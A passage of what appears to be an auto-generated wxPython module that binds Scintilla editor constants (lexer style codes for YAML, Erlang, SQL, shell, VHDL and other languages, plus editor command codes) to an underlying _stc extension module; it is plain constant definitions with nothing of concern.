_stc.STC_CLW_COMPILER_DIRECTIVE\nSTC_CLW_RUNTIME_EXPRESSIONS = _stc.STC_CLW_RUNTIME_EXPRESSIONS\nSTC_CLW_BUILTIN_PROCEDURES_FUNCTION = _stc.STC_CLW_BUILTIN_PROCEDURES_FUNCTION\nSTC_CLW_STRUCTURE_DATA_TYPE = _stc.STC_CLW_STRUCTURE_DATA_TYPE\nSTC_CLW_ATTRIBUTE = _stc.STC_CLW_ATTRIBUTE\nSTC_CLW_STANDARD_EQUATE = _stc.STC_CLW_STANDARD_EQUATE\nSTC_CLW_ERROR = _stc.STC_CLW_ERROR\nSTC_CLW_DEPRECATED = _stc.STC_CLW_DEPRECATED\nSTC_LOT_DEFAULT = _stc.STC_LOT_DEFAULT\nSTC_LOT_HEADER = _stc.STC_LOT_HEADER\nSTC_LOT_BREAK = _stc.STC_LOT_BREAK\nSTC_LOT_SET = _stc.STC_LOT_SET\nSTC_LOT_PASS = _stc.STC_LOT_PASS\nSTC_LOT_FAIL = _stc.STC_LOT_FAIL\nSTC_LOT_ABORT = _stc.STC_LOT_ABORT\nSTC_YAML_DEFAULT = _stc.STC_YAML_DEFAULT\nSTC_YAML_COMMENT = _stc.STC_YAML_COMMENT\nSTC_YAML_IDENTIFIER = _stc.STC_YAML_IDENTIFIER\nSTC_YAML_KEYWORD = _stc.STC_YAML_KEYWORD\nSTC_YAML_NUMBER = _stc.STC_YAML_NUMBER\nSTC_YAML_REFERENCE = _stc.STC_YAML_REFERENCE\nSTC_YAML_DOCUMENT = _stc.STC_YAML_DOCUMENT\nSTC_YAML_TEXT = _stc.STC_YAML_TEXT\nSTC_YAML_ERROR = _stc.STC_YAML_ERROR\nSTC_TEX_DEFAULT = _stc.STC_TEX_DEFAULT\nSTC_TEX_SPECIAL = _stc.STC_TEX_SPECIAL\nSTC_TEX_GROUP = _stc.STC_TEX_GROUP\nSTC_TEX_SYMBOL = _stc.STC_TEX_SYMBOL\nSTC_TEX_COMMAND = _stc.STC_TEX_COMMAND\nSTC_TEX_TEXT = _stc.STC_TEX_TEXT\nSTC_METAPOST_DEFAULT = _stc.STC_METAPOST_DEFAULT\nSTC_METAPOST_SPECIAL = _stc.STC_METAPOST_SPECIAL\nSTC_METAPOST_GROUP = _stc.STC_METAPOST_GROUP\nSTC_METAPOST_SYMBOL = _stc.STC_METAPOST_SYMBOL\nSTC_METAPOST_COMMAND = _stc.STC_METAPOST_COMMAND\nSTC_METAPOST_TEXT = _stc.STC_METAPOST_TEXT\nSTC_METAPOST_EXTRA = _stc.STC_METAPOST_EXTRA\nSTC_ERLANG_DEFAULT = _stc.STC_ERLANG_DEFAULT\nSTC_ERLANG_COMMENT = _stc.STC_ERLANG_COMMENT\nSTC_ERLANG_VARIABLE = _stc.STC_ERLANG_VARIABLE\nSTC_ERLANG_NUMBER = _stc.STC_ERLANG_NUMBER\nSTC_ERLANG_KEYWORD = _stc.STC_ERLANG_KEYWORD\nSTC_ERLANG_STRING = _stc.STC_ERLANG_STRING\nSTC_ERLANG_OPERATOR = _stc.STC_ERLANG_OPERATOR\nSTC_ERLANG_ATOM = _stc.STC_ERLANG_ATOM\nSTC_ERLANG_FUNCTION_NAME = _stc.STC_ERLANG_FUNCTION_NAME\nSTC_ERLANG_CHARACTER = _stc.STC_ERLANG_CHARACTER\nSTC_ERLANG_MACRO = _stc.STC_ERLANG_MACRO\nSTC_ERLANG_RECORD = _stc.STC_ERLANG_RECORD\nSTC_ERLANG_SEPARATOR = _stc.STC_ERLANG_SEPARATOR\nSTC_ERLANG_NODE_NAME = _stc.STC_ERLANG_NODE_NAME\nSTC_ERLANG_UNKNOWN = _stc.STC_ERLANG_UNKNOWN\nSTC_MSSQL_DEFAULT = _stc.STC_MSSQL_DEFAULT\nSTC_MSSQL_COMMENT = _stc.STC_MSSQL_COMMENT\nSTC_MSSQL_LINE_COMMENT = _stc.STC_MSSQL_LINE_COMMENT\nSTC_MSSQL_NUMBER = _stc.STC_MSSQL_NUMBER\nSTC_MSSQL_STRING = _stc.STC_MSSQL_STRING\nSTC_MSSQL_OPERATOR = _stc.STC_MSSQL_OPERATOR\nSTC_MSSQL_IDENTIFIER = _stc.STC_MSSQL_IDENTIFIER\nSTC_MSSQL_VARIABLE = _stc.STC_MSSQL_VARIABLE\nSTC_MSSQL_COLUMN_NAME = _stc.STC_MSSQL_COLUMN_NAME\nSTC_MSSQL_STATEMENT = _stc.STC_MSSQL_STATEMENT\nSTC_MSSQL_DATATYPE = _stc.STC_MSSQL_DATATYPE\nSTC_MSSQL_SYSTABLE = _stc.STC_MSSQL_SYSTABLE\nSTC_MSSQL_GLOBAL_VARIABLE = _stc.STC_MSSQL_GLOBAL_VARIABLE\nSTC_MSSQL_FUNCTION = _stc.STC_MSSQL_FUNCTION\nSTC_MSSQL_STORED_PROCEDURE = _stc.STC_MSSQL_STORED_PROCEDURE\nSTC_MSSQL_DEFAULT_PREF_DATATYPE = _stc.STC_MSSQL_DEFAULT_PREF_DATATYPE\nSTC_MSSQL_COLUMN_NAME_2 = _stc.STC_MSSQL_COLUMN_NAME_2\nSTC_V_DEFAULT = _stc.STC_V_DEFAULT\nSTC_V_COMMENT = _stc.STC_V_COMMENT\nSTC_V_COMMENTLINE = _stc.STC_V_COMMENTLINE\nSTC_V_COMMENTLINEBANG = _stc.STC_V_COMMENTLINEBANG\nSTC_V_NUMBER = _stc.STC_V_NUMBER\nSTC_V_WORD = _stc.STC_V_WORD\nSTC_V_STRING = _stc.STC_V_STRING\nSTC_V_WORD2 = _stc.STC_V_WORD2\nSTC_V_WORD3 = _stc.STC_V_WORD3\nSTC_V_PREPROCESSOR = _stc.STC_V_PREPROCESSOR\nSTC_V_OPERATOR = _stc.STC_V_OPERATOR\nSTC_V_IDENTIFIER = _stc.STC_V_IDENTIFIER\nSTC_V_STRINGEOL = _stc.STC_V_STRINGEOL\nSTC_V_USER = _stc.STC_V_USER\nSTC_KIX_DEFAULT = _stc.STC_KIX_DEFAULT\nSTC_KIX_COMMENT = _stc.STC_KIX_COMMENT\nSTC_KIX_STRING1 = _stc.STC_KIX_STRING1\nSTC_KIX_STRING2 = _stc.STC_KIX_STRING2\nSTC_KIX_NUMBER = _stc.STC_KIX_NUMBER\nSTC_KIX_VAR = _stc.STC_KIX_VAR\nSTC_KIX_MACRO = _stc.STC_KIX_MACRO\nSTC_KIX_KEYWORD = _stc.STC_KIX_KEYWORD\nSTC_KIX_FUNCTIONS = _stc.STC_KIX_FUNCTIONS\nSTC_KIX_OPERATOR = _stc.STC_KIX_OPERATOR\nSTC_KIX_IDENTIFIER = _stc.STC_KIX_IDENTIFIER\nSTC_GC_DEFAULT = _stc.STC_GC_DEFAULT\nSTC_GC_COMMENTLINE = _stc.STC_GC_COMMENTLINE\nSTC_GC_COMMENTBLOCK = _stc.STC_GC_COMMENTBLOCK\nSTC_GC_GLOBAL = _stc.STC_GC_GLOBAL\nSTC_GC_EVENT = _stc.STC_GC_EVENT\nSTC_GC_ATTRIBUTE = _stc.STC_GC_ATTRIBUTE\nSTC_GC_CONTROL = _stc.STC_GC_CONTROL\nSTC_GC_COMMAND = _stc.STC_GC_COMMAND\nSTC_GC_STRING = _stc.STC_GC_STRING\nSTC_GC_OPERATOR = _stc.STC_GC_OPERATOR\nSTC_SN_DEFAULT = _stc.STC_SN_DEFAULT\nSTC_SN_CODE = _stc.STC_SN_CODE\nSTC_SN_COMMENTLINE = _stc.STC_SN_COMMENTLINE\nSTC_SN_COMMENTLINEBANG = _stc.STC_SN_COMMENTLINEBANG\nSTC_SN_NUMBER = _stc.STC_SN_NUMBER\nSTC_SN_WORD = _stc.STC_SN_WORD\nSTC_SN_STRING = _stc.STC_SN_STRING\nSTC_SN_WORD2 = _stc.STC_SN_WORD2\nSTC_SN_WORD3 = _stc.STC_SN_WORD3\nSTC_SN_PREPROCESSOR = _stc.STC_SN_PREPROCESSOR\nSTC_SN_OPERATOR = _stc.STC_SN_OPERATOR\nSTC_SN_IDENTIFIER = _stc.STC_SN_IDENTIFIER\nSTC_SN_STRINGEOL = _stc.STC_SN_STRINGEOL\nSTC_SN_REGEXTAG = _stc.STC_SN_REGEXTAG\nSTC_SN_SIGNAL = _stc.STC_SN_SIGNAL\nSTC_SN_USER = _stc.STC_SN_USER\nSTC_AU3_DEFAULT = _stc.STC_AU3_DEFAULT\nSTC_AU3_COMMENT = _stc.STC_AU3_COMMENT\nSTC_AU3_COMMENTBLOCK = _stc.STC_AU3_COMMENTBLOCK\nSTC_AU3_NUMBER = _stc.STC_AU3_NUMBER\nSTC_AU3_FUNCTION = _stc.STC_AU3_FUNCTION\nSTC_AU3_KEYWORD = _stc.STC_AU3_KEYWORD\nSTC_AU3_MACRO = _stc.STC_AU3_MACRO\nSTC_AU3_STRING = _stc.STC_AU3_STRING\nSTC_AU3_OPERATOR = _stc.STC_AU3_OPERATOR\nSTC_AU3_VARIABLE = _stc.STC_AU3_VARIABLE\nSTC_AU3_SENT = _stc.STC_AU3_SENT\nSTC_AU3_PREPROCESSOR = _stc.STC_AU3_PREPROCESSOR\nSTC_AU3_SPECIAL = _stc.STC_AU3_SPECIAL\nSTC_AU3_EXPAND = _stc.STC_AU3_EXPAND\nSTC_AU3_COMOBJ = _stc.STC_AU3_COMOBJ\nSTC_AU3_UDF = _stc.STC_AU3_UDF\nSTC_APDL_DEFAULT = _stc.STC_APDL_DEFAULT\nSTC_APDL_COMMENT = _stc.STC_APDL_COMMENT\nSTC_APDL_COMMENTBLOCK = _stc.STC_APDL_COMMENTBLOCK\nSTC_APDL_NUMBER = _stc.STC_APDL_NUMBER\nSTC_APDL_STRING = _stc.STC_APDL_STRING\nSTC_APDL_OPERATOR = _stc.STC_APDL_OPERATOR\nSTC_APDL_WORD = _stc.STC_APDL_WORD\nSTC_APDL_PROCESSOR = _stc.STC_APDL_PROCESSOR\nSTC_APDL_COMMAND = _stc.STC_APDL_COMMAND\nSTC_APDL_SLASHCOMMAND = _stc.STC_APDL_SLASHCOMMAND\nSTC_APDL_STARCOMMAND = _stc.STC_APDL_STARCOMMAND\nSTC_APDL_ARGUMENT = _stc.STC_APDL_ARGUMENT\nSTC_APDL_FUNCTION = _stc.STC_APDL_FUNCTION\nSTC_SH_DEFAULT = _stc.STC_SH_DEFAULT\nSTC_SH_ERROR = _stc.STC_SH_ERROR\nSTC_SH_COMMENTLINE = _stc.STC_SH_COMMENTLINE\nSTC_SH_NUMBER = _stc.STC_SH_NUMBER\nSTC_SH_WORD = _stc.STC_SH_WORD\nSTC_SH_STRING = _stc.STC_SH_STRING\nSTC_SH_CHARACTER = _stc.STC_SH_CHARACTER\nSTC_SH_OPERATOR = _stc.STC_SH_OPERATOR\nSTC_SH_IDENTIFIER = _stc.STC_SH_IDENTIFIER\nSTC_SH_SCALAR = _stc.STC_SH_SCALAR\nSTC_SH_PARAM = _stc.STC_SH_PARAM\nSTC_SH_BACKTICKS = _stc.STC_SH_BACKTICKS\nSTC_SH_HERE_DELIM = _stc.STC_SH_HERE_DELIM\nSTC_SH_HERE_Q = _stc.STC_SH_HERE_Q\nSTC_ASN1_DEFAULT = _stc.STC_ASN1_DEFAULT\nSTC_ASN1_COMMENT = _stc.STC_ASN1_COMMENT\nSTC_ASN1_IDENTIFIER = _stc.STC_ASN1_IDENTIFIER\nSTC_ASN1_STRING = _stc.STC_ASN1_STRING\nSTC_ASN1_OID = _stc.STC_ASN1_OID\nSTC_ASN1_SCALAR = _stc.STC_ASN1_SCALAR\nSTC_ASN1_KEYWORD = _stc.STC_ASN1_KEYWORD\nSTC_ASN1_ATTRIBUTE = _stc.STC_ASN1_ATTRIBUTE\nSTC_ASN1_DESCRIPTOR = _stc.STC_ASN1_DESCRIPTOR\nSTC_ASN1_TYPE = _stc.STC_ASN1_TYPE\nSTC_ASN1_OPERATOR = _stc.STC_ASN1_OPERATOR\nSTC_VHDL_DEFAULT = _stc.STC_VHDL_DEFAULT\nSTC_VHDL_COMMENT = _stc.STC_VHDL_COMMENT\nSTC_VHDL_COMMENTLINEBANG = _stc.STC_VHDL_COMMENTLINEBANG\nSTC_VHDL_NUMBER = _stc.STC_VHDL_NUMBER\nSTC_VHDL_STRING = _stc.STC_VHDL_STRING\nSTC_VHDL_OPERATOR = _stc.STC_VHDL_OPERATOR\nSTC_VHDL_IDENTIFIER = _stc.STC_VHDL_IDENTIFIER\nSTC_VHDL_STRINGEOL = _stc.STC_VHDL_STRINGEOL\nSTC_VHDL_KEYWORD = _stc.STC_VHDL_KEYWORD\nSTC_VHDL_STDOPERATOR = _stc.STC_VHDL_STDOPERATOR\nSTC_VHDL_ATTRIBUTE = _stc.STC_VHDL_ATTRIBUTE\nSTC_VHDL_STDFUNCTION = _stc.STC_VHDL_STDFUNCTION\nSTC_VHDL_STDPACKAGE = _stc.STC_VHDL_STDPACKAGE\nSTC_VHDL_STDTYPE = _stc.STC_VHDL_STDTYPE\nSTC_VHDL_USERWORD = _stc.STC_VHDL_USERWORD\nSTC_CAML_DEFAULT = _stc.STC_CAML_DEFAULT\nSTC_CAML_IDENTIFIER = _stc.STC_CAML_IDENTIFIER\nSTC_CAML_TAGNAME = _stc.STC_CAML_TAGNAME\nSTC_CAML_KEYWORD = _stc.STC_CAML_KEYWORD\nSTC_CAML_KEYWORD2 = _stc.STC_CAML_KEYWORD2\nSTC_CAML_KEYWORD3 = _stc.STC_CAML_KEYWORD3\nSTC_CAML_LINENUM = _stc.STC_CAML_LINENUM\nSTC_CAML_OPERATOR = _stc.STC_CAML_OPERATOR\nSTC_CAML_NUMBER = _stc.STC_CAML_NUMBER\nSTC_CAML_CHAR = _stc.STC_CAML_CHAR\nSTC_CAML_STRING = _stc.STC_CAML_STRING\nSTC_CAML_COMMENT = _stc.STC_CAML_COMMENT\nSTC_CAML_COMMENT1 = _stc.STC_CAML_COMMENT1\nSTC_CAML_COMMENT2 = _stc.STC_CAML_COMMENT2\nSTC_CAML_COMMENT3 = _stc.STC_CAML_COMMENT3\nSTC_HA_DEFAULT = _stc.STC_HA_DEFAULT\nSTC_HA_IDENTIFIER = _stc.STC_HA_IDENTIFIER\nSTC_HA_KEYWORD = _stc.STC_HA_KEYWORD\nSTC_HA_NUMBER = _stc.STC_HA_NUMBER\nSTC_HA_STRING = _stc.STC_HA_STRING\nSTC_HA_CHARACTER = _stc.STC_HA_CHARACTER\nSTC_HA_CLASS = _stc.STC_HA_CLASS\nSTC_HA_MODULE = _stc.STC_HA_MODULE\nSTC_HA_CAPITAL = _stc.STC_HA_CAPITAL\nSTC_HA_DATA = _stc.STC_HA_DATA\nSTC_HA_IMPORT = _stc.STC_HA_IMPORT\nSTC_HA_OPERATOR = _stc.STC_HA_OPERATOR\nSTC_HA_INSTANCE = _stc.STC_HA_INSTANCE\nSTC_HA_COMMENTLINE = _stc.STC_HA_COMMENTLINE\nSTC_HA_COMMENTBLOCK = _stc.STC_HA_COMMENTBLOCK\nSTC_HA_COMMENTBLOCK2 = _stc.STC_HA_COMMENTBLOCK2\nSTC_HA_COMMENTBLOCK3 = _stc.STC_HA_COMMENTBLOCK3\nSTC_T3_DEFAULT = _stc.STC_T3_DEFAULT\nSTC_T3_X_DEFAULT = _stc.STC_T3_X_DEFAULT\nSTC_T3_PREPROCESSOR = _stc.STC_T3_PREPROCESSOR\nSTC_T3_BLOCK_COMMENT = _stc.STC_T3_BLOCK_COMMENT\nSTC_T3_LINE_COMMENT = _stc.STC_T3_LINE_COMMENT\nSTC_T3_OPERATOR = _stc.STC_T3_OPERATOR\nSTC_T3_KEYWORD = _stc.STC_T3_KEYWORD\nSTC_T3_NUMBER = _stc.STC_T3_NUMBER\nSTC_T3_IDENTIFIER = _stc.STC_T3_IDENTIFIER\nSTC_T3_S_STRING = _stc.STC_T3_S_STRING\nSTC_T3_D_STRING = _stc.STC_T3_D_STRING\nSTC_T3_X_STRING = _stc.STC_T3_X_STRING\nSTC_T3_LIB_DIRECTIVE = _stc.STC_T3_LIB_DIRECTIVE\nSTC_T3_MSG_PARAM = _stc.STC_T3_MSG_PARAM\nSTC_T3_HTML_TAG = _stc.STC_T3_HTML_TAG\nSTC_T3_HTML_DEFAULT = _stc.STC_T3_HTML_DEFAULT\nSTC_T3_HTML_STRING = _stc.STC_T3_HTML_STRING\nSTC_T3_USER1 = _stc.STC_T3_USER1\nSTC_T3_USER2 = _stc.STC_T3_USER2\nSTC_T3_USER3 = _stc.STC_T3_USER3\nSTC_REBOL_DEFAULT = _stc.STC_REBOL_DEFAULT\nSTC_REBOL_COMMENTLINE = _stc.STC_REBOL_COMMENTLINE\nSTC_REBOL_COMMENTBLOCK = _stc.STC_REBOL_COMMENTBLOCK\nSTC_REBOL_PREFACE = _stc.STC_REBOL_PREFACE\nSTC_REBOL_OPERATOR = _stc.STC_REBOL_OPERATOR\nSTC_REBOL_CHARACTER = _stc.STC_REBOL_CHARACTER\nSTC_REBOL_QUOTEDSTRING = _stc.STC_REBOL_QUOTEDSTRING\nSTC_REBOL_BRACEDSTRING = _stc.STC_REBOL_BRACEDSTRING\nSTC_REBOL_NUMBER = _stc.STC_REBOL_NUMBER\nSTC_REBOL_PAIR = _stc.STC_REBOL_PAIR\nSTC_REBOL_TUPLE = _stc.STC_REBOL_TUPLE\nSTC_REBOL_BINARY = _stc.STC_REBOL_BINARY\nSTC_REBOL_MONEY = _stc.STC_REBOL_MONEY\nSTC_REBOL_ISSUE = _stc.STC_REBOL_ISSUE\nSTC_REBOL_TAG = _stc.STC_REBOL_TAG\nSTC_REBOL_FILE = _stc.STC_REBOL_FILE\nSTC_REBOL_EMAIL = _stc.STC_REBOL_EMAIL\nSTC_REBOL_URL = _stc.STC_REBOL_URL\nSTC_REBOL_DATE = _stc.STC_REBOL_DATE\nSTC_REBOL_TIME = _stc.STC_REBOL_TIME\nSTC_REBOL_IDENTIFIER = _stc.STC_REBOL_IDENTIFIER\nSTC_REBOL_WORD = _stc.STC_REBOL_WORD\nSTC_REBOL_WORD2 = _stc.STC_REBOL_WORD2\nSTC_REBOL_WORD3 = _stc.STC_REBOL_WORD3\nSTC_REBOL_WORD4 = _stc.STC_REBOL_WORD4\nSTC_REBOL_WORD5 = _stc.STC_REBOL_WORD5\nSTC_REBOL_WORD6 = _stc.STC_REBOL_WORD6\nSTC_REBOL_WORD7 = _stc.STC_REBOL_WORD7\nSTC_REBOL_WORD8 = _stc.STC_REBOL_WORD8\nSTC_SQL_DEFAULT = _stc.STC_SQL_DEFAULT\nSTC_SQL_COMMENT = _stc.STC_SQL_COMMENT\nSTC_SQL_COMMENTLINE = _stc.STC_SQL_COMMENTLINE\nSTC_SQL_COMMENTDOC = _stc.STC_SQL_COMMENTDOC\nSTC_SQL_NUMBER = _stc.STC_SQL_NUMBER\nSTC_SQL_WORD = _stc.STC_SQL_WORD\nSTC_SQL_STRING = _stc.STC_SQL_STRING\nSTC_SQL_CHARACTER = _stc.STC_SQL_CHARACTER\nSTC_SQL_SQLPLUS = _stc.STC_SQL_SQLPLUS\nSTC_SQL_SQLPLUS_PROMPT = _stc.STC_SQL_SQLPLUS_PROMPT\nSTC_SQL_OPERATOR = _stc.STC_SQL_OPERATOR\nSTC_SQL_IDENTIFIER = _stc.STC_SQL_IDENTIFIER\nSTC_SQL_SQLPLUS_COMMENT = _stc.STC_SQL_SQLPLUS_COMMENT\nSTC_SQL_COMMENTLINEDOC = _stc.STC_SQL_COMMENTLINEDOC\nSTC_SQL_WORD2 = _stc.STC_SQL_WORD2\nSTC_SQL_COMMENTDOCKEYWORD = _stc.STC_SQL_COMMENTDOCKEYWORD\nSTC_SQL_COMMENTDOCKEYWORDERROR = _stc.STC_SQL_COMMENTDOCKEYWORDERROR\nSTC_SQL_USER1 = _stc.STC_SQL_USER1\nSTC_SQL_USER2 = _stc.STC_SQL_USER2\nSTC_SQL_USER3 = _stc.STC_SQL_USER3\nSTC_SQL_USER4 = _stc.STC_SQL_USER4\nSTC_SQL_QUOTEDIDENTIFIER = _stc.STC_SQL_QUOTEDIDENTIFIER\nSTC_ST_DEFAULT = _stc.STC_ST_DEFAULT\nSTC_ST_STRING = _stc.STC_ST_STRING\nSTC_ST_NUMBER = _stc.STC_ST_NUMBER\nSTC_ST_COMMENT = _stc.STC_ST_COMMENT\nSTC_ST_SYMBOL = _stc.STC_ST_SYMBOL\nSTC_ST_BINARY = _stc.STC_ST_BINARY\nSTC_ST_BOOL = _stc.STC_ST_BOOL\nSTC_ST_SELF = _stc.STC_ST_SELF\nSTC_ST_SUPER = _stc.STC_ST_SUPER\nSTC_ST_NIL = _stc.STC_ST_NIL\nSTC_ST_GLOBAL = _stc.STC_ST_GLOBAL\nSTC_ST_RETURN = _stc.STC_ST_RETURN\nSTC_ST_SPECIAL = _stc.STC_ST_SPECIAL\nSTC_ST_KWSEND = _stc.STC_ST_KWSEND\nSTC_ST_ASSIGN = _stc.STC_ST_ASSIGN\nSTC_ST_CHARACTER = _stc.STC_ST_CHARACTER\nSTC_ST_SPEC_SEL = _stc.STC_ST_SPEC_SEL\nSTC_FS_DEFAULT = _stc.STC_FS_DEFAULT\nSTC_FS_COMMENT = _stc.STC_FS_COMMENT\nSTC_FS_COMMENTLINE = _stc.STC_FS_COMMENTLINE\nSTC_FS_COMMENTDOC = _stc.STC_FS_COMMENTDOC\nSTC_FS_COMMENTLINEDOC = _stc.STC_FS_COMMENTLINEDOC\nSTC_FS_COMMENTDOCKEYWORD = _stc.STC_FS_COMMENTDOCKEYWORD\nSTC_FS_COMMENTDOCKEYWORDERROR = _stc.STC_FS_COMMENTDOCKEYWORDERROR\nSTC_FS_KEYWORD = _stc.STC_FS_KEYWORD\nSTC_FS_KEYWORD2 = _stc.STC_FS_KEYWORD2\nSTC_FS_KEYWORD3 = _stc.STC_FS_KEYWORD3\nSTC_FS_KEYWORD4 = _stc.STC_FS_KEYWORD4\nSTC_FS_NUMBER = _stc.STC_FS_NUMBER\nSTC_FS_STRING = _stc.STC_FS_STRING\nSTC_FS_PREPROCESSOR = _stc.STC_FS_PREPROCESSOR\nSTC_FS_OPERATOR = _stc.STC_FS_OPERATOR\nSTC_FS_IDENTIFIER = _stc.STC_FS_IDENTIFIER\nSTC_FS_DATE = _stc.STC_FS_DATE\nSTC_FS_STRINGEOL = _stc.STC_FS_STRINGEOL\nSTC_FS_CONSTANT = _stc.STC_FS_CONSTANT\nSTC_FS_ASM = _stc.STC_FS_ASM\nSTC_FS_LABEL = _stc.STC_FS_LABEL\nSTC_FS_ERROR = _stc.STC_FS_ERROR\nSTC_FS_HEXNUMBER = _stc.STC_FS_HEXNUMBER\nSTC_FS_BINNUMBER = _stc.STC_FS_BINNUMBER\nSTC_CSOUND_DEFAULT = _stc.STC_CSOUND_DEFAULT\nSTC_CSOUND_COMMENT = _stc.STC_CSOUND_COMMENT\nSTC_CSOUND_NUMBER = _stc.STC_CSOUND_NUMBER\nSTC_CSOUND_OPERATOR = _stc.STC_CSOUND_OPERATOR\nSTC_CSOUND_INSTR = _stc.STC_CSOUND_INSTR\nSTC_CSOUND_IDENTIFIER = _stc.STC_CSOUND_IDENTIFIER\nSTC_CSOUND_OPCODE = _stc.STC_CSOUND_OPCODE\nSTC_CSOUND_HEADERSTMT = _stc.STC_CSOUND_HEADERSTMT\nSTC_CSOUND_USERKEYWORD = _stc.STC_CSOUND_USERKEYWORD\nSTC_CSOUND_COMMENTBLOCK = _stc.STC_CSOUND_COMMENTBLOCK\nSTC_CSOUND_PARAM = _stc.STC_CSOUND_PARAM\nSTC_CSOUND_ARATE_VAR = _stc.STC_CSOUND_ARATE_VAR\nSTC_CSOUND_KRATE_VAR = _stc.STC_CSOUND_KRATE_VAR\nSTC_CSOUND_IRATE_VAR = _stc.STC_CSOUND_IRATE_VAR\nSTC_CSOUND_GLOBAL_VAR = _stc.STC_CSOUND_GLOBAL_VAR\nSTC_CSOUND_STRINGEOL = _stc.STC_CSOUND_STRINGEOL\nSTC_INNO_DEFAULT = _stc.STC_INNO_DEFAULT\nSTC_INNO_COMMENT = _stc.STC_INNO_COMMENT\nSTC_INNO_KEYWORD = _stc.STC_INNO_KEYWORD\nSTC_INNO_PARAMETER = _stc.STC_INNO_PARAMETER\nSTC_INNO_SECTION = _stc.STC_INNO_SECTION\nSTC_INNO_PREPROC = _stc.STC_INNO_PREPROC\nSTC_INNO_PREPROC_INLINE = _stc.STC_INNO_PREPROC_INLINE\nSTC_INNO_COMMENT_PASCAL = _stc.STC_INNO_COMMENT_PASCAL\nSTC_INNO_KEYWORD_PASCAL = _stc.STC_INNO_KEYWORD_PASCAL\nSTC_INNO_KEYWORD_USER = _stc.STC_INNO_KEYWORD_USER\nSTC_INNO_STRING_DOUBLE = _stc.STC_INNO_STRING_DOUBLE\nSTC_INNO_STRING_SINGLE = _stc.STC_INNO_STRING_SINGLE\nSTC_INNO_IDENTIFIER = _stc.STC_INNO_IDENTIFIER\nSTC_OPAL_SPACE = _stc.STC_OPAL_SPACE\nSTC_OPAL_COMMENT_BLOCK = _stc.STC_OPAL_COMMENT_BLOCK\nSTC_OPAL_COMMENT_LINE = _stc.STC_OPAL_COMMENT_LINE\nSTC_OPAL_INTEGER = _stc.STC_OPAL_INTEGER\nSTC_OPAL_KEYWORD = _stc.STC_OPAL_KEYWORD\nSTC_OPAL_SORT = _stc.STC_OPAL_SORT\nSTC_OPAL_STRING = _stc.STC_OPAL_STRING\nSTC_OPAL_PAR = _stc.STC_OPAL_PAR\nSTC_OPAL_BOOL_CONST = _stc.STC_OPAL_BOOL_CONST\nSTC_OPAL_DEFAULT = _stc.STC_OPAL_DEFAULT\nSTC_SPICE_DEFAULT = _stc.STC_SPICE_DEFAULT\nSTC_SPICE_IDENTIFIER = _stc.STC_SPICE_IDENTIFIER\nSTC_SPICE_KEYWORD = _stc.STC_SPICE_KEYWORD\nSTC_SPICE_KEYWORD2 = _stc.STC_SPICE_KEYWORD2\nSTC_SPICE_KEYWORD3 = _stc.STC_SPICE_KEYWORD3\nSTC_SPICE_NUMBER = _stc.STC_SPICE_NUMBER\nSTC_SPICE_DELIMITER = _stc.STC_SPICE_DELIMITER\nSTC_SPICE_VALUE = _stc.STC_SPICE_VALUE\nSTC_SPICE_COMMENTLINE = _stc.STC_SPICE_COMMENTLINE\nSTC_CMD_REDO = _stc.STC_CMD_REDO\nSTC_CMD_SELECTALL = _stc.STC_CMD_SELECTALL\nSTC_CMD_UNDO = _stc.STC_CMD_UNDO\nSTC_CMD_CUT = _stc.STC_CMD_CUT\nSTC_CMD_COPY = _stc.STC_CMD_COPY\nSTC_CMD_PASTE = _stc.STC_CMD_PASTE\nSTC_CMD_CLEAR = _stc.STC_CMD_CLEAR\nSTC_CMD_LINEDOWN = _stc.STC_CMD_LINEDOWN\nSTC_CMD_LINEDOWNEXTEND = _stc.STC_CMD_LINEDOWNEXTEND\nSTC_CMD_LINEUP = _stc.STC_CMD_LINEUP\nSTC_CMD_LINEUPEXTEND = _stc.STC_CMD_LINEUPEXTEND\nSTC_CMD_CHARLEFT = _stc.STC_CMD_CHARLEFT\nSTC_CMD_CHARLEFTEXTEND = _stc.STC_CMD_CHARLEFTEXTEND\nSTC_CMD_CHARRIGHT = _stc.STC_CMD_CHARRIGHT\nSTC_CMD_CHARRIGHTEXTEND = _stc.STC_CMD_CHARRIGHTEXTEND\nSTC_CMD_WORDLEFT = _stc.STC_CMD_WORDLEFT\nSTC_CMD_WORDLEFTEXTEND = _stc.STC_CMD_WORDLEFTEXTEND\nSTC_CMD_WORDRIGHT = _stc.STC_CMD_WORDRIGHT\nSTC_CMD_WORDRIGHTEXTEND = _stc.STC_CMD_WORDRIGHTEXTEND\nSTC_CMD_HOME = _stc.STC_CMD_HOME\nSTC_CMD_HOMEEXTEND = _stc.STC_CMD_HOMEEXTEND\nSTC_CMD_LINEEND = _stc.STC_CMD_LINEEND\nSTC_CMD_LINEENDEXTEND = _stc.STC_CMD_LINEENDEXTEND\nSTC_CMD_DOCUMENTSTART = _stc.STC_CMD_DOCUMENTSTART\nSTC_CMD_DOCUMENTSTARTEXTEND = _stc.STC_CMD_DOCUMENTSTARTEXTEND\nSTC_CMD_DOCUMENTEND = _stc.STC_CMD_DOCUMENTEND\nSTC_CMD_DOCUMENTENDEXTEND = _stc.STC_CMD_DOCUMENTENDEXTEND\nSTC_CMD_PAGEUP = _stc.STC_CMD_PAGEUP\nSTC_CMD_PAGEUPEXTEND = _stc.STC_CMD_PAGEUPEXTEND\nSTC_CMD_PAGEDOWN = _stc.STC_CMD_PAGEDOWN\nSTC_CMD_PAGEDOWNEXTEND = _stc.STC_CMD_PAGEDOWNEXTEND\nSTC_CMD_EDITTOGGLEOVERTYPE = _stc.STC_CMD_EDITTOGGLEOVERTYPE\nSTC_CMD_CANCEL = _stc.STC_CMD_CANCEL\nSTC_CMD_DELETEBACK = _stc.STC_CMD_DELETEBACK\nSTC_CMD_TAB = _stc.STC_CMD_TAB\nSTC_CMD_BACKTAB = _stc.STC_CMD_BACKTAB\nSTC_CMD_NEWLINE = _stc.STC_CMD_NEWLINE\nSTC_CMD_FORMFEED = _stc.STC_CMD_FORMFEED\nSTC_CMD_VCHOME = _stc.STC_CMD_VCHOME\nSTC_CMD_VCHOMEEXTEND = _stc.STC_CMD_VCHOMEEXTEND\nSTC_CMD_ZOOMIN = _stc.STC_CMD_ZOOMIN\nSTC_CMD_ZOOMOUT = _stc.STC_CMD_ZOOMOUT\nSTC_CMD_DELWORDLEFT = _stc.STC_CMD_DELWORDLEFT\nSTC_CMD_DELWORDRIGHT = _stc.STC_CMD_DELWORDRIGHT\nSTC_CMD_LINECUT = _stc.STC_CMD_LINECUT\nSTC_CMD_LINEDELETE = 